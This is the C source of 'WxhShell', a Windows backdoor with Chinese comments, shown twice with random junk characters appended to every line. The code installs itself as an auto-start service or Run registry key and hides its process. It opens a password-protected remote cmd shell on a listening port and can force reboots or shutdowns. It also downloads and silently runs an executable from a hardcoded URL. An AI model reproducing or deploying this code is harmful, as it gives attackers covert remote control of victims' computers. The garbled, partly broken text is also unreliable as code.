    break; Wr8}=\/  
    } KK4rVb:-  
  // 关机 [Bj\h7 G  
  case 'd': { w8F`RRHEE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'fZ\uMdTx  
    if(Boot(SHUTDOWN)) hJ?PV@xy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XE#$|Z  
    else { ycf)*0k  
    closesocket(wsh); 2B+qS'OT  
    ExitThread(0); hLT?aQLx  
    } H%{k.#O  
    break; :bkmm,%O  
    } -X-sykDm  
  // 获取shell J^zB 5W,)  
  case 's': { M]xfH*  
    CmdShell(wsh); z~/e\  
    closesocket(wsh); .>2]m[53  
    ExitThread(0);  xF*i+'2  
    break; xrkR)~ E  
  } +5GPU 9k  
  // 退出 ~DS.b-E  
  case 'x': { z7pw~Tqlz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eKRE1DK  
    CloseIt(wsh); biRkq c;  
    break; ADA}_|O  
    } W9S6 SO^\  
  // 离开 .u]d5z BR  
  case 'q': { v=DC3oh-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u R]8ZT")  
    closesocket(wsh); P!lfk:M^;  
    WSACleanup(); T>, [V:  
    exit(1); S$4 6YQ  
    break; NMzq10M=6  
        } PoLk{{l3  
  } wGWv<<Qw"  
  } KfQ?b_H.  
4j zjrG  
  // 提示信息 77'@U(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BW ux!  
} w17CZa 6  
  } { PS0.UZ  
md lMciP  
  return;  vSo1WS  
} GtKSA#oYZB  
D$VRE^k  
// shell模块句柄 Sa/]81 aG  
int CmdShell(SOCKET sock) lBudC  
{ t >Rh  
STARTUPINFO si; n*9nzx#q  
ZeroMemory(&si,sizeof(si)); 2I 7|hZ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o3:BH@@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D5Z)"~'  
PROCESS_INFORMATION ProcessInfo; -op)X>  
char cmdline[]="cmd"; X2{Aa T*M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )[ejb?{d  
  return 0; 8[#EC3  
} U[z2{\  
EXR6Vb,  
// 自身启动模式 u(8dsg R  
int StartFromService(void) 6#ktw)e  
{ MjK<n[.  
typedef struct 4~2 9,  
{ t_+owiF)M  
  DWORD ExitStatus; 6=S z5MC  
  DWORD PebBaseAddress; &AVX03P  
  DWORD AffinityMask; i?,\>LTG  
  DWORD BasePriority; .R^ R|<x  
  ULONG UniqueProcessId; iu2O/l# r  
  ULONG InheritedFromUniqueProcessId; Z:diM$Z?7  
}   PROCESS_BASIC_INFORMATION; d+"F(R9  
YD0j&@.  
PROCNTQSIP NtQueryInformationProcess; OyG2Ks"H  
 )|W6Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uH#X:Vne  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V{X/yN.u  
=Z..&H5i  
  HANDLE             hProcess; m= %KaRI  
  PROCESS_BASIC_INFORMATION pbi; +o35${  
!Z0S@]C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a%`L+b5-$  
  if(NULL == hInst ) return 0; V(Cxd.u   
@~FJlG(n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R_"6E8N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #}Bv/`t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;@O8y\@  
i O$ ?No  
  if (!NtQueryInformationProcess) return 0; [7  t  
C8=rsh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]C{N4Ni^Z  
  if(!hProcess) return 0; .N7&Jy  
E+ /XKF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tH:?aP*2  
-![{Zb@  
  CloseHandle(hProcess); V0n8fez b  
$QwzL/a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O2xqNQ`d  
if(hProcess==NULL) return 0; n^nQrRIp  
(%G>TV  
HMODULE hMod; _qH]OSo  
char procName[255]; @c}Gw;e  
unsigned long cbNeeded; }N:QB}7'_  
Y oZd,} i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C~PP}|<~V  
%&J`mq  
  CloseHandle(hProcess); #%{  
w^:@g~  
if(strstr(procName,"services")) return 1; // 以服务启动 5i'KGL  
"2 D{X  
  return 0; // 注册表启动 h;mOfF  
} 3@* ~>H  
Iz&d S?p_  
// 主模块 ?"kU+tCxg  
int StartWxhshell(LPSTR lpCmdLine) =@nW;PUZ  
{ G0Z$p6z  
  SOCKET wsl; s !I I}'Je  
BOOL val=TRUE; s"~,Zzy@j  
  int port=0; 4C3i  
  struct sockaddr_in door; u,~+ho@  
^ '_Fd  
  if(wscfg.ws_autoins) Install(); a(uQGyr[k1  
?OGs+G  
port=atoi(lpCmdLine); IvI;Q0E-3  
Z/:W.*u  
if(port<=0) port=wscfg.ws_port; ?.ofs}  
;zSV~G6-  
  WSADATA data; ebLt:gGo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )iZhE"?z  
zLPCWP.u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c~d*SDca  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yr)e."#S  
  door.sin_family = AF_INET; '=d y =  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P<9T.l  
  door.sin_port = htons(port); )=5*iWe  
}ee3'LUPX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j`_Z`eG  
closesocket(wsl); e.(RhajB  
return 1; ~8'HX*B]z  
} |1Nz8Vr.  
^5+7D1>W%  
  if(listen(wsl,2) == INVALID_SOCKET) { QRF:6bAxsL  
closesocket(wsl); #nKGU"$+  
return 1; 5U*${  
} C*Q x  
  Wxhshell(wsl); s}DNu<"g  
  WSACleanup(); NkQain9  
la_  
return 0; L>N)[;|  
R5 EC/@  
} v4\ m9Pu4  
Ey_mK\'  
// 以NT服务方式启动 WK.,q>#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nVGOhYn  
{ \_+Af`  
DWORD   status = 0; 7j"B-k#  
  DWORD   specificError = 0xfffffff; F^!mgU X  
f Qw|SW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Eb8z`@p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5KssfI a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; luz,z( v  
  serviceStatus.dwWin32ExitCode     = 0; !m9g\8tE  
  serviceStatus.dwServiceSpecificExitCode = 0; ul"Z% 1]  
  serviceStatus.dwCheckPoint       = 0; QdIoK7J 9  
  serviceStatus.dwWaitHint       = 0; zeH=py[n  
fJi?~[5<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .o8pC  
  if (hServiceStatusHandle==0) return; sEx\7tK  
9y)}-TcSpY  
status = GetLastError(); L)Da1<O  
  if (status!=NO_ERROR) @2\UjEo~  
{ [Vou G{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lPz5.(5'  
    serviceStatus.dwCheckPoint       = 0; |8\et  
    serviceStatus.dwWaitHint       = 0; XsMETl"Av4  
    serviceStatus.dwWin32ExitCode     = status; S7CD#Y[s  
    serviceStatus.dwServiceSpecificExitCode = specificError; P?y{ 9H*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ll^9,G"Tt  
    return; w_q =mKu  
  } >k u7{1)  
eBW]hwhKzM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?QzN\f Y;  
  serviceStatus.dwCheckPoint       = 0; ;fv/s]X86I  
  serviceStatus.dwWaitHint       = 0; !i=k=l=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1{wOjq(4  
} J-Fqw-<aFJ  
oF0*X$_X  
// 处理NT服务事件,比如:启动、停止 8SMa5a{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +@#-S  
{ VHU,G+ms  
switch(fdwControl) .eDI ZX  
{ N,`<:'  
case SERVICE_CONTROL_STOP: [zl"G^z  
  serviceStatus.dwWin32ExitCode = 0; Pe7% 9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6z+*H7Qz  
  serviceStatus.dwCheckPoint   = 0; 'gz@UE1  
  serviceStatus.dwWaitHint     = 0; v>mr  
  { bC]GL$ph9*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gt?ckMB  
  } h&?tF~h  
  return; HoKN<w  
case SERVICE_CONTROL_PAUSE: 5,W DmhJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cBnB(t%  
  break; 7o64|@'j  
case SERVICE_CONTROL_CONTINUE: *AN2&>Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {-\VX2:;[9  
  break; LgS.%Mn  
case SERVICE_CONTROL_INTERROGATE: F!yejn [  
  break; WqRg/  
}; oNr~8CA`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _p=O*$b.  
} g\ p;  
68jq1Y Pv  
// 标准应用程序主函数 %y;Cgo[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) > 9wEx[  
{ g4*]R>f  
t6O/Q0_  
// 获取操作系统版本 c>RS~/Y  
OsIsNt=GetOsVer(); QK%6Ncv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y: XxTa*  
U GJ# "9  
  // 从命令行安装 &llp*< i7  
  if(strpbrk(lpCmdLine,"iI")) Install(); E`SFr  
c B9`U4<  
  // 下载执行文件 }$|uIS  
if(wscfg.ws_downexe) { &Q"Ox{~W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) we&g9j'  
  WinExec(wscfg.ws_filenam,SW_HIDE); C0F#PXU y  
} &Rx-zp&dJ  
SD^6ib/]b  
if(!OsIsNt) { T6ajWUw  
// 如果时win9x,隐藏进程并且设置为注册表启动 D=nuK25  
HideProc(); RHGs(d7-  
StartWxhshell(lpCmdLine); 3yu{Q z5y,  
} g2WDa'{L  
else v/BMzVi  
  if(StartFromService()) )Aky:kM$  
  // 以服务方式启动 $z~sN  
  StartServiceCtrlDispatcher(DispatchTable); r}y]B\/  
else 8L<GAe  
  // 普通方式启动 7usf^g[dh  
  StartWxhshell(lpCmdLine); 6 ztM(2[  
.)>DFGb>H  
return 0; &Q[Y&vNn  
} bqxbOQd  
W|@/<K$V  
?2;r#)  
0'm4 ) \  
=========================================== ozbu|9 +v  
Y,kTk  
2rq)U+   
[*O#6Xu  
j|&?BBa9  
eXI^9uH  
" eGS1% [  
37wm[ Z  
#include <stdio.h> 9i8D_[  
#include <string.h> cZN+D D  
#include <windows.h> \ qc 8;"@  
#include <winsock2.h> _W4i?Bde  
#include <winsvc.h> :cmfy6h]  
#include <urlmon.h> `7P4O   
dwKre#4F  
#pragma comment (lib, "Ws2_32.lib") HPAd@5d(  
#pragma comment (lib, "urlmon.lib") %Lexu)odW  
AfG!(AF`  
#define MAX_USER   100 // 最大客户端连接数 g_}r)CgG|  
#define BUF_SOCK   200 // sock buffer yG5T;O&  
#define KEY_BUFF   255 // 输入 buffer sAIL+O  
+.Kmpw4  
#define REBOOT     0   // 重启 q#-szZQ  
#define SHUTDOWN   1   // 关机 \eE0Rnaf-  
)p>BN|L  
#define DEF_PORT   5000 // 监听端口 O^I~d{M 5I  
.9WJ/RKZ\D  
#define REG_LEN     16   // 注册表键长度 }> k9]Y  
#define SVC_LEN     80   // NT服务名长度 0s:MEX6w|  
yOGa W~  
// 从dll定义API qn#\ro1H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I.j`h2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MI|DOp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dWE[*a\g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eP-q[U?$n  
Z.$ncP0s  
// wxhshell配置信息 B2%)G$B  
struct WSCFG { vbmSbZ"y  
  int ws_port;         // 监听端口 Xvm.Un< N  
  char ws_passstr[REG_LEN]; // 口令 0ANqEQX  
  int ws_autoins;       // 安装标记, 1=yes 0=no nbMnqkNb  
  char ws_regname[REG_LEN]; // 注册表键名 bp:WN  
  char ws_svcname[REG_LEN]; // 服务名 g.X?wyg5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vV-ATIf ^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UXoaUW L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I@a7AuOw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zTBr<:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <DiD8")4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <wxI>T}b  
@D-l_[  
};  pzezN  
bV&/)eqv  
// default Wxhshell configuration %xf6U>T  
struct WSCFG wscfg={DEF_PORT, oJR0sbikP  
    "xuhuanlingzhe", 9k ]$MR  
    1, qr$=oCqa  
    "Wxhshell", xj)*K%re  
    "Wxhshell", n[CESo%[  
            "WxhShell Service", U;:>vi3p  
    "Wrsky Windows CmdShell Service", +q"d=   
    "Please Input Your Password: ", CN\SxK`,  
  1, @P6K`'.0  
  "http://www.wrsky.com/wxhshell.exe", :^71,An >E  
  "Wxhshell.exe" \i}n1Qd  
    }; P49lE  
K_oBSa`  
// 消息定义模块 bS<lB!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zht^gOs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U2=5Nt5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wt[MzpRP  
char *msg_ws_ext="\n\rExit."; %F9% t  
char *msg_ws_end="\n\rQuit."; zFqH)/  
char *msg_ws_boot="\n\rReboot..."; &4sUi K"  
char *msg_ws_poff="\n\rShutdown..."; ej47'#EY  
char *msg_ws_down="\n\rSave to "; +,9I3Dq  
xvQJTR k  
char *msg_ws_err="\n\rErr!"; 3_B .W  
char *msg_ws_ok="\n\rOK!"; %+i g7a:  
sAfSI<L_  
char ExeFile[MAX_PATH]; YQ g03i  
int nUser = 0; yJc<;Qx  
HANDLE handles[MAX_USER]; a Umcs!@  
int OsIsNt; AtYe\_9$C  
EE#4,d`J  
SERVICE_STATUS       serviceStatus; gfw,S;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dY68wW>d|  
"3LOL/7f  
// 函数声明 Xz4!#,z/  
int Install(void); W*e6F?G  
int Uninstall(void); ooref orr  
int DownloadFile(char *sURL, SOCKET wsh); U")~bU  
int Boot(int flag); K_bF)6"  
void HideProc(void); :h=];^/E  
int GetOsVer(void); 2)h i(  
int Wxhshell(SOCKET wsl); &Hb6  
void TalkWithClient(void *cs); NZ/gp"D?  
int CmdShell(SOCKET sock); YTpSR~!Rj  
int StartFromService(void); G$}\~dD  
int StartWxhshell(LPSTR lpCmdLine); $`.7XD}  
f ySzZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mEv<r6qDT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VmHok  
d3_aFs Q  
// 数据结构和表定义 z 3fS+x:E{  
SERVICE_TABLE_ENTRY DispatchTable[] = .slA }  
{ z*>"I  
{wscfg.ws_svcname, NTServiceMain}, SN(:\|f 2  
{NULL, NULL} kq8:h  
}; $IA(QC_]AO  
Oj\lg2Ck  
// 自我安装 HhhN8t  
int Install(void) D'ZR>@w@  
{ hU3c;6]3  
  char svExeFile[MAX_PATH]; L&MR%5  
  HKEY key; WW\u}z.QJ  
  strcpy(svExeFile,ExeFile); =LDzZ:' X  
O&V}T#8n  
// 如果是win9x系统,修改注册表设为自启动 O;9u1,%w  
if(!OsIsNt) { Dz:A.x@$*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 21bvSK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aB0L]i  
  RegCloseKey(key); _d 76jmujJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6!bVPIyYO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]@vX4G/  
  RegCloseKey(key);  #8MA+  
  return 0; U748$%}]  
    } 8{#W F#  
  } NE,2jeZQ.  
} [5e}A&  
else { sI7d?+  
vm"LPwSk>  
// 如果是NT以上系统,安装为系统服务 z6]dF"N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >0Y >T6!  
if (schSCManager!=0) x :\+{-  
{ ^.p({6H  
  SC_HANDLE schService = CreateService ^90';ACFy  
  ( So{/V%  
  schSCManager, N9tH0  
  wscfg.ws_svcname, x2=Bu#Y  
  wscfg.ws_svcdisp, x^Q:U1  
  SERVICE_ALL_ACCESS, P}29wrIZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8om6wALXB  
  SERVICE_AUTO_START, 7n9&@D3 :P  
  SERVICE_ERROR_NORMAL, ,dhJ\cQ~  
  svExeFile, L15?\|':Y  
  NULL, nICc}U?k  
  NULL, B>rz<bPT  
  NULL, r@ujE,D=k  
  NULL, X0Zqx1  
  NULL 3_|<CE6  
  ); ukpbx;O:hc  
  if (schService!=0) [Ul"I-K  
  { H C(Vu  
  CloseServiceHandle(schService); C-E~z{  
  CloseServiceHandle(schSCManager); )' +" y~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 83K)j"!<X  
  strcat(svExeFile,wscfg.ws_svcname); [Gop-Vi/~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0uV3J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ gMoW  
  RegCloseKey(key); #%O|P&rA  
  return 0; z/!LC;(  
    } I{tY;b'w  
  } `-fWNHs  
  CloseServiceHandle(schSCManager); Y[)b".K  
} e+6mbJ7y  
} pFgpAxl  
"BT*9N=|  
return 1; _HF66)X7  
} |a4cER.'2^  
a?jUm.  
// 自我卸载 |0ATH`{  
int Uninstall(void) "5 ;fuM1  
{ w^z5O6   
  HKEY key; ,`PC^`0c}o  
-{`8Av5)E%  
if(!OsIsNt) { \~ m\pf?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dp#JvZb  
  RegDeleteValue(key,wscfg.ws_regname); 7f|8SB  
  RegCloseKey(key); ?lq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2 j.6  
  RegDeleteValue(key,wscfg.ws_regname); 2?P H||  
  RegCloseKey(key); %jk7JDvl  
  return 0; ~hD!{([  
  } n2} (Pt.  
} >*s_)IH2  
} EP,j+^RVf  
else { B-^r0/y;  
kvcDa+#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Em)U`"j/9  
if (schSCManager!=0) S&/,+x'c|  
{ _PT5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?M!Mb-C[  
  if (schService!=0) 94^)Ar~O  
  { T5nBvSVv'  
  if(DeleteService(schService)!=0) { Y`F)UwKK  
  CloseServiceHandle(schService); $mxm?7ZVR  
  CloseServiceHandle(schSCManager); GWFF.Mo^  
  return 0; yq.<,b=87  
  } f~Y;ZvB  
  CloseServiceHandle(schService); i(T[  
  } `-t8ag 3  
  CloseServiceHandle(schSCManager); !LI6_Oq  
} JfD-CoQS'  
} fg$#ZCi  
fi%)520  
return 1; &1 /OwTI4J  
} WC0z'N({W  
Kb X&E0  
// 从指定url下载文件 -t]3 gCLb  
int DownloadFile(char *sURL, SOCKET wsh) lXtsnQOOK  
{ riR(CJ}Ff  
  HRESULT hr; LMKhtOZ?  
char seps[]= "/"; 'Qdea$o  
char *token; i;Dj16h  
char *file; Q g~cYwX  
char myURL[MAX_PATH]; |RjAp.pm  
char myFILE[MAX_PATH]; nQGl]2  
Ft E5H  
strcpy(myURL,sURL); Zd5Jz+f  
  token=strtok(myURL,seps); 'tTUro1~  
  while(token!=NULL) ~c,CngeL0  
  { nuKcq!L  
    file=token; "@z X{^:  
  token=strtok(NULL,seps); Emy=q5ryl  
  } b?{MXJ|  
|L/EH~| O  
GetCurrentDirectory(MAX_PATH,myFILE); a\m_Q{:  
strcat(myFILE, "\\"); n6AA%? 5  
strcat(myFILE, file); g(_xo\  
  send(wsh,myFILE,strlen(myFILE),0); "QD>m7  
send(wsh,"...",3,0); "I3 #/~q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8 Y4mTW  
  if(hr==S_OK) IR2=dQS  
return 0; BP4xXdG  
else @C-03`JWuK  
return 1; c@3mfc{  
=yF]#>Ah  
} :V3z`}Rl  
za%gD  
// 系统电源模块 8)lrQvZ  
int Boot(int flag) apOXcZ   
{ xKR\w!+Z'  
  HANDLE hToken; *b'4>U  
  TOKEN_PRIVILEGES tkp; C@`rg ILc  
<Y]e  
  if(OsIsNt) { "uli~ {IU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xi51,y+(5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y'aK92pF:  
    tkp.PrivilegeCount = 1; cX!C/`ew>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WNY:HH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NnH]c+  
if(flag==REBOOT) { NSa6\.W)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zO`4W!x&  
  return 0; @(bg#  
} C.BlB  
else { 2HUw^ *3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }?\^^v h7  
  return 0; 8.,d`~  
} P_4E<"eK  
  } @Jx1n Q^  
  else { IRGcE&m  
if(flag==REBOOT) { h;@c%Vm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qnCjNN  
  return 0; WBD?|Ss  
} He,, bq  
else { @R-11wP)M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T>f6V 5  
  return 0; OlB9z  
} Eug RC  
} X n8&&w"  
k#bG&BF  
return 1; FDFwx|  
} <UF0Xc&X'  
iC3C~?,7  
// win9x进程隐藏模块 |Fz ^(US  
void HideProc(void) [^Bjmw[7  
{ ?&'Kw>s@  
O\CnKNk,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y[l<fbh(}  
  if ( hKernel != NULL ) ^,0Lr$+  
  { lb$_$+@Vr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eT Fep^[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pd B\D  
    FreeLibrary(hKernel); I_5/e> 9  
  } U shIQh  
s7afj t  
return; RC}m]!Uz  
} w3ATsIw  
_p>F43%p  
// 获取操作系统版本 ,-hbwd~M  
int GetOsVer(void) n$`+03a  
{ | p!($  
  OSVERSIONINFO winfo; ufCpX>lNF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X;H\u6-|>6  
  GetVersionEx(&winfo); NXQ=8o9,9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -%5#0Ogh M  
  return 1; re_nb)4g  
  else .uVd'  
  return 0; 6I: 6+n  
} ,jEc4ih4  
HCsd$M;Hbv  
// 客户端句柄模块 5x%Blkx  
int Wxhshell(SOCKET wsl) 51JB,}dGH}  
{ &8w# 4*W  
  SOCKET wsh; PW|=IPS  
  struct sockaddr_in client; k_{?{:X;y  
  DWORD myID; JO`r)_  
J$sBfO D  
  while(nUser<MAX_USER) ~+j2a3rv-{  
{ P3`$4p?  
  int nSize=sizeof(client); 0PqI^|!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V y$*v  
  if(wsh==INVALID_SOCKET) return 1; 4e/!BGkAS  
xL1Li]fM!'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S.4+tf 7+  
if(handles[nUser]==0) iMt3h8  
  closesocket(wsh); rrr_{d/  
else d|oO2yzWv  
  nUser++; ]/kpEx  
  } i^e8.zgywF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F|{uA/P{  
3rB0H   
  return 0; ,,BP}f+l$  
} =/_uk{  
_XT'h;m  
// 关闭 socket $,2T~1tE  
void CloseIt(SOCKET wsh) PcEE`.  
{ Yb-{+H8{J  
closesocket(wsh); zPND $3&'  
nUser--; [nZIV  
ExitThread(0); -&sY*(:n_  
} t))MZw&@  
;:j1FOj  
// 客户端请求句柄 HO['o{>BL  
void TalkWithClient(void *cs) hO&b\#@~  
{ CxeW5qc  
`:Gzjngc  
  SOCKET wsh=(SOCKET)cs; JC%&d1  
  char pwd[SVC_LEN]; 4MS#`E7LrC  
  char cmd[KEY_BUFF]; s :7/\h  
char chr[1]; h Fik>B#!  
int i,j; 0W}qp?  
9M;t4Um  
  while (nUser < MAX_USER) { RSe4 lw  
Go)g}#.&  
if(wscfg.ws_passstr) { ^t5My[R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >9rZV NMU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }a$.ngP  
  //ZeroMemory(pwd,KEY_BUFF); >iae2W`  
      i=0; g&c ~grD  
  while(i<SVC_LEN) { {='Bd6_=  
eFG(2OVg}M  
  // 设置超时 RzjUrt  
  fd_set FdRead; l>}f{az-T  
  struct timeval TimeOut; <BED&j!qvP  
  FD_ZERO(&FdRead); ~<f[7dBv  
  FD_SET(wsh,&FdRead); _0v+'&bz  
  TimeOut.tv_sec=8; sde>LZet/  
  TimeOut.tv_usec=0; q6)fP4MQ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m<hP"j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KF00=HE|]  
s 91[@rh/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !*}UP|8  
  pwd=chr[0]; /3,Lp-kp  
  if(chr[0]==0xd || chr[0]==0xa) { >P SO]%mE  
  pwd=0; qEr?4h  
  break; X8Q'*  
  } ];LFv5"  
  i++; M/quswn1  
    } o]4\Geg$  
ve ysW(z  
  // 如果是非法用户,关闭 socket 9Q%lS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4}h}`KZZ  
} 4MzQH-U>/  
^iMr't\b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L"|Bm{Run  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VL9wRu;  
z'q~%1t  
while(1) { S}@7Z`  
y&NqVR=   
  ZeroMemory(cmd,KEY_BUFF); }`"}eN @,  
0^ODJ7  
      // 自动支持客户端 telnet标准   fu "cX;  
  j=0;  )d2Z g  
  while(j<KEY_BUFF) { G?W:O{n3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rd#R}yA  
  cmd[j]=chr[0]; Y!<m8\  
  if(chr[0]==0xa || chr[0]==0xd) { W{}$c`,R  
  cmd[j]=0; rVz.Ws#  
  break; ED&nrd1P  
  } C?z S}ob  
  j++; kTb$lLG\xk  
    } D\Ak-$kJ^  
GE/!$3  
  // 下载文件 ~:a1ELqVw  
  if(strstr(cmd,"http://")) { UM7@c7B?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {[H_Vl@  
  if(DownloadFile(cmd,wsh)) C*Vm}|)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {D4FYr J  
  else tIuM9D{P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Unk/uk  
  } KL&/Yt   
  else { a"vzC$Hxd  
?:;;0kSk  
    switch(cmd[0]) { LDlYLs F9  
